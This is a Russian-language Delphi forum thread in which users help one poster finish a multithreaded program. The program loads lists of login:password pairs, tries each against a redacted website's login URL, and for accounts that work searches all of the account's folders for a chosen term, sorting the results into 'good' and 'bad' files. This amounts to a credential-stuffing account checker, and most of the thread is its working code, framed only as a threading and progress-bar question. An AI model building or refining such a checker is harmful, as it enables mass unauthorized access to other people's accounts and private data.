![]() |
|
#16
|
|||
|
|||
![]() Отредактировал, а насчёт разделителя: разные могут быть разделители в загружаемом списке
|
#17
|
||||
|
||||
![]() Но структура полей не меняется: логин + разд. + пароль?
Я не понял Вашего вопроса, но всё же Вам на него отвечу! |
#18
|
|||
|
|||
![]() Да-да, только разделитель или : или ;
|
#19
|
||||
|
||||
![]() Вот набросок, может что и подойдёт
Я не понял Вашего вопроса, но всё же Вам на него отвечу! |
#20
|
|||
|
|||
![]() Что-то я не въехал честно говоря в ваш код, пытался вставить свою интернетную часть, но что-то не заработало у меня. В общем вот я мой проект вам скину, мне кажется вы не совсем так меня понимаете или я вас))) Запаролил на всякий случай
|
#21
|
|||
|
|||
![]() Привет, решал давеча похожую задачу с использованием stringlist и CommaText.
Для корректной работы пришлось текст в кавычки заключить, а разделитель ",". Может поможет ![]() Код:
procedure TForm1.Button4Click(Sender: TObject); var ts: tstringlist; S: string; Tf: Textfile; begin Ts := Tstringlist.create; Assignfile(tf, 'путь_к_файлу'); Reset(tf); ComboBox2.Items.Clear; ComboBox3.Items.Clear; while not eof(tf) do begin Readln(tf,S); Ts.CommaText := S; ComboBox2.Items.Add(Ts[0]); ComboBox3.Items.Add(Ts[1]); end; closefile(tf); ts.free; end; UPD Чтобы прокатило с разделителем ":" вместо Ts.CommaText := S; в коде выше вставить Код:
Ts.Delimiter := ':'; Ts.DelimitedText := S; Последний раз редактировалось cerbernar, 17.04.2015 в 12:37. |
#22
|
|||
|
|||
![]() Ну в общем, создал поток и сделал синхронизацию, вроде всё работает, но осталось ещё несколько проблем:
1)прогрессбар не доходит до конца; 2)как остановить выполнение программы по нажатию кнопки Стоп? Код:
unit Unit2; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, StdCtrls, sButton, ComCtrls, acProgressBar, sMemo, sLabel, sEdit, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdCookieManager, IdIntercept, IdCompressionIntercept, sDialogs; type TForm2 = class(TForm) sMemo1: TsMemo; sButton1: TsButton; IdHTTP1: TIdHTTP; IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL; sEdit3: TsEdit; sLabel3: TsLabel; sLabel4: TsLabel; sLabel5: TsLabel; sMemo2: TsMemo; sButton2: TsButton; sOpenDialog1: TsOpenDialog; sLabel6: TsLabel; sLabel7: TsLabel; sLabel8: TsLabel; sLabel9: TsLabel; sSkinManager1: TsSkinManager; sProgressBar1: TsProgressBar; sButton3: TsButton; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); { Private declarations } public { Public declarations } end; type TMyThread = class(TThread) private protected procedure Good; procedure Bad; procedure ProgressBar; procedure MemoClear; procedure Execute; override; end; var Form2: TForm2; Accounts: TStringList; Login, Password, del: string; ProgressPos: integer; implementation {$R *.dfm} procedure TForm2.sButton2Click(Sender: TObject); begin Accounts:=TStringList.Create; if sOpenDialog1.Execute then begin Accounts.Clear; sMemo1.Lines.Clear; sMemo2.Lines.Clear; Accounts.LoadFromFile(sOpenDialog1.FileName); sLabel9.Caption:=inttostr(Accounts.Count); end; if pos(';', Accounts.Strings[0])<>0 then begin del:=';'; end else begin del:=':'; end; end; procedure TForm2.sButton1Click(Sender: TObject); begin TMyThread.Create(False); end; procedure TMyThread.MemoClear; begin Form2.sMemo1.Lines.Clear; Form2.sMemo2.Lines.Clear; end; procedure TMyThread.ProgressBar; begin Form2.sProgressBar1.Position:=ProgressPos; Form2.sProgressBar1.Max:=Accounts.Count; end; procedure TMyThread.Bad; begin Form2.sMemo2.Lines.Add(Login+del+Password); Form2.sLabel6.Caption:=inttostr(Form2.sMemo2.Lines.Count); end; procedure TMyThread.Good; begin Form2.sMemo1.Lines.Add(Login+del+Password); Form2.sLabel7.Caption:=inttostr(Form2.sMemo1.Lines.Count); end; procedure TMyThread.Execute; var HTML: string; Acc: integer; begin; Synchronize(MemoClear); for Acc := 0 to Accounts.Count-1 do begin ProgressPos:=Acc; Synchronize(ProgressBar); Login:=copy(Accounts[Acc], 1, pos(del, Accounts[Acc])-1); Password:=copy(Accounts[Acc], pos(del, Accounts[Acc])+1, MaxInt); HTML:=Form2.IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password); if pos ('class="button__valign"', HTML)<>0 then begin HTML:=Form2.IdHTTP1.Get('https://xxxxxx'+Form2.sEdit3.Text+'&q%5Ffolder=all'); if pos ('class="gosearch-message"', HTML)<>0 then begin Synchronize(Bad); end else begin Synchronize(Good); end; end else begin Synchronize(Bad); end; end; end; end. Последний раз редактировалось AlexBerg001, 21.04.2015 в 15:49. |
#23
|
|||
|
|||
![]() С прогрессбаром разобрался и добавил сохранение результатов в файл. Вопрос с остановкой выполнения программы остаётся открытым
Добавил переменную T1: TThread и прописал вот так Код:
procedure TForm2.sButton3Click(Sender: TObject); begin T1.Terminate; end; procedure TForm2.sButton1Click(Sender: TObject); begin T1:=TMyThread.Create(False); end; Последний раз редактировалось AlexBerg001, 21.04.2015 в 19:43. |
#24
|
|||
|
|||
![]() Закройте тему, вопрос уже совсем не соответствует названию
|